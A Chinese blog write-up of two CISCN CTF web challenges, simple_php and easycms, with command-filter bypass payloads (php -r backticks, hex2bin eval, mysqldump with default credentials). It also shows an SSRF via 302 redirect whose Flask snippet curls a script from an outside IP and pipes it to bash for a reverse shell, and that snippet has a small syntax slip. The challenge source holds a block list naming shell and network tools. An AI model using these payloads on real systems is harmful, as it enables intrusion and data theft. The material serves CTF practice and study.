本文最后更新于 2024年11月16日 晚上
前言:第一次打ciscn,但是web题目是一个不会,借此为数不多的时间想把能照着wp复现的题目写一下。题目目前在ctfshow有复现靶场。
simple_php
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php ini_set('open_basedir', '/var/www/html/'); error_reporting(0);
if(isset($_POST['cmd'])){ $cmd = escapeshellcmd($_POST['cmd']); if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) { system($cmd); } }
show_source(__FILE__); ?>
|
这是题目的源码,正则限制了很多,可以用在线网站看一下,网站,这里还将到了escapeshellcmd这个函数
escapeshellcmd函数
转义和规范化操作有助于确保命令字符串在传递给命令行时能够正确解析,并且不会被误认为是命令或其他恶意代码。
比如这几种情况
1 2 3 4
| 替换命令字符串中的单引号 (') 为反斜杠和单引号组合 (\')。 替换命令字符串中的双引号 (") 为反斜杠和双引号组合 (\")。 删除命令字符串中的换行符 (\n)。 删除命令字符串中的回车符 (\r)。
|
比如这种情况
1 2 3 4 5 6 7
| <?php $a = "127.0.0.1' -x"; $b = escapeshellcmd($a); echo $a . "\n"; echo $b . "\n"; ?>
|
输出为
1 2
| 127.0.0.1' -x 127.0.0.1^' -x
|
就是对 ‘进行了转义,再根据题目分析一下好像并没有禁掉\和`尝试可以使用php -r来执行
解法1
输入
1
| cmd=php -r var_dump(`l\s`);
|
进行查看后并没有找到,尝试查看etc/passwd的内容
1
| cmd=paste /etc/passwd//paste用于合并文件行
|
猜测可能数据藏在mysql数据库中,尝试弹shell,但是在连接之后webshell没有回显这里看到一个方法
1
| cmd=mysqldump -uroot -proot --all-databases
|
猜测用户名和密码都是默认的,把数据都dump下来,直接爆库搜就行,用的ctfshow,然后搜一下就行
解法2:
看了一下内容,由于禁用了很多,可以转hex,然后用php自带的函数,由于不能带引号只能强制截取,直接上payload吧
1
| cmd=php -r eval(hex2bin(substr(_6563686f20606c73202f603b,1)));
|
之后一些列的可以通过先转,逐步爆内容,或者粗暴一点也行。
解法3:
其实连应该是可以连的,但是需要用python监听,我技术太捞了,把这种情况先放在这。网上其他博客或许有。
easycms
这题知识点我暂时还没有学习,把流程过一下。
先看一下系统,提示在github上找源码
存在ssrf的漏洞下载源码看看
定位了thumb,有curl的,需要传内容,
1
| ?s=api&c=api&m=qrcode&text=1&thumb=http://127.0.0.1/flag.php
|
随便传点内容,试了不行需要,要用302跳转打内网
1 2 3 4 5 6 7 8 9 10 11 12 13
| from flask import Flask, redirect
app = Flask(__name__)
@app.route('/') def index(): return redirect("http://127.0.0.1/flag.php?cmd=curl%20http%3A%2F%2F8.130.42.113%3A5566%2Fttt%7Cbash") ")
if __name__ == '__main__': app.run(host='0.0.0.0', port=8080)
|
传到linux服务器上面,python3开启httpserver到port上,打开flask服务,然后将thumb改为我们的http://vps_ip:flask端口上
然后nc监听另外一个端口(需要弹shell的
但是我始终没谈的起来,不明白是不是ctfshow的原因,大概的流程是如此
用php写也可以。这题只做个记录。
大概流程就是写个代码开端口a,用php环境开端口b,用hackbar发包改为服务器302重定向路径b,最后开nc监听端口a,在/readflag里面有。